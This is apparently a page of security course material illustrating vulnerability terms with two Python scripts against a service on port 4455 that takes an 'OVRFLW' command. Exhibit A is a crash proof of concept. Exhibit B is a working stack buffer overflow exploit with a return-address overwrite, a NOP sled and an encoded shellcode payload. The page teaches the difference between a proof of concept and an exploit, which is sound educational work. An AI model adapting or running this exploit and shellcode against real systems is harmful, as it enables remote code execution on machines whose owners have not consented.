Vulnerability Terminology Contd.

```
1    import sys, socket
2
3    if len(sys.argv) < 2:
4      print "\nUsage: " + sys.argv[0] + " <HOST>\n"
5      sys.exit()
6
7    cmd = "OVRFLW "
8    junk = "\x41" * 3000
9    end = "\r\n"
10
11   buffer = cmd + junk + end
12
13   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
14   s.connect((sys.argv[1], 4455))
15   s.send(buffer)
16   s.recv(1024)
17   s.close()
```

Exhibit A - Proof of Concept

```
3    import sys, socket
4
5    if len(sys.argv) < 2:
6      print "\nUsage: " + sys.argv[0] + " <HOST>\n"
7      sys.exit()
8
9    payload = (
10   "\xdd\xc6\x89\xe7\xd9\x77\xf4\x58\x8d\x40\x3c\x89\xc3\x83\xc3"
11   "\x06\x31\xc9\x66\xb9\x5d\xff\x66\xf7\xd1\x0f\xb7\x13\x81\xeb"
12   "\xfe\xff\xff\xff\xff\x30\x5e\xc1\xe6\x10\xc1\xee\x10\x31\xd6"
13   "\x66\x89\x30\x8d\x40\x02\x49\x85\xc9\x0f\x85\xdd\xff\xff\xff"
14   "\x18\x7b\x72\x0c\x25\x8d\xe4\x93\xf0\x0c\x25\x8d\x84\x1a\x15"
15   "\x3d\xc5\xe9\x0f\x4a\x25\xb6\xb7\xc5\x84\x18\x31\x3d\xc5\xcd"
16   "\x8b\xaf\x7b\x1b\xf4\x32\x27\x93\x1a\x67\xf6\x1e\x07\x52\xd5"
17   "\x6a\xf7\xd9\xc5\xa0\x87\x3d\x7c\x8b\xf5\x2b\xcd\x01\xf7\xc7"
18   "\xc4\x53\x2e\x49\xf6\x16\xb5\xd8\x77\x69\xf7\xc5\x3e\x91\x6f"
19   "\x8a\xcd\x8c\xb5\xa5\xe4\x8b\x1b\xbd\x4a\x09\x25\x44\x16\xbc"
20   "\x8d\x31\xc5\x31\xe0\xbf\xf0\xc9\xfe\x4c\xc4\xca\x14\x91\x75"
21   "\x14\xe0\xcb\xc7\xf7\xfe\x18\xab\x40\x9f\xeb\xff\xcb\x20\x44"
22   "\x14\xea\x2f\x42\x64\x60\x30\xb1\x74\x23\x3d\x3a\x61\x4e\x94"
23   "\x7c\x62\x60\xea\x5c\x7f\xf1\x3f\x08\xd9\x6e\x7f\xf1\x57\x7f"
24   "\xaa\x5c\x20\xa5\x3f\x33\xdd\x7a\x27\x5a\xea\x8b\x4d\x7b\x27"
25   "\x5a\xc3\x4f\x19\x2b\x4f\x73\x43\x24\x19\xd4\x9a\x23\x13\x74"
26   "\x49\x94\xca\x63\x43\x1c\xa3\x9b\x15\x83\xbc\xc9\x34\xf1\x10"
27   "\xeb\x7c\x61\x22\xee\x78\xe9\x7c\x60\x99\x67\x9e\x83\x6c\x36"
28   "\xce\x0f\x07\x26\x18\x57\x31\xda\x82\xe6\x6c\x5b\xce\x94\x8a"
29   "\x93\x80\x33\x3e\x21\x28\xc5\x7f\xe6\x56\x42\x45\xa1\x7f\x6f"
30   "\xb5\x15\x12\xf6\x4e\x99\xdf\x07\x4b\xa0\xac\x64\xb9\xc0\x0f"
31   "\x84\x90\x65\xb8\x4d\x4b\xa0\x80\xa3\xb8\x09\x1f\xf0\xd6\xf5"
32   "\xce\x4f\x49\xbc\x80\xa3\xbd\x19\x21\xc7\x4c\x9c\x3b\xe6\xf4"
33   "\x4c\xac\xd2\x6d\xa0\x0b\x7e\xc4\xda\xca\xbd\x6b\x81\x11\x61"
34   "\x1a\x08\xc9\xd7\x79\xc7\x8f\xb5\x54\x28\xac\xfb\x89\xc9\x5e"
35   "\xa8\x57\x1b\xfc\xcc\xe5\xef\x44\x69\x93\xa6\xe5\xbc\xbb\xbc")
36
37   cmd = "OVRFLW "
38   #junk = "\x41" * 2029 + "\x83\x66\x62\x65" * 4 + "\x43" * (3000 - 2029 - 4)
39   junk = "\x41" * 1369 + "\x83\x66\x52\x56" + "\x90" * 16 + payload + "\x43" * (3000 - 1369 - 4 - len(payload) - 8)
40   end = "\r\n"
41
42   buffer = cmd + junk + end
43
44   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
45   s.connect((sys.argv[1], 4455))
46   s.send(buffer)
47   s.recv(1024)
48   s.close()
```

Exhibit B - Exploit

Vulnerability Classes (subset)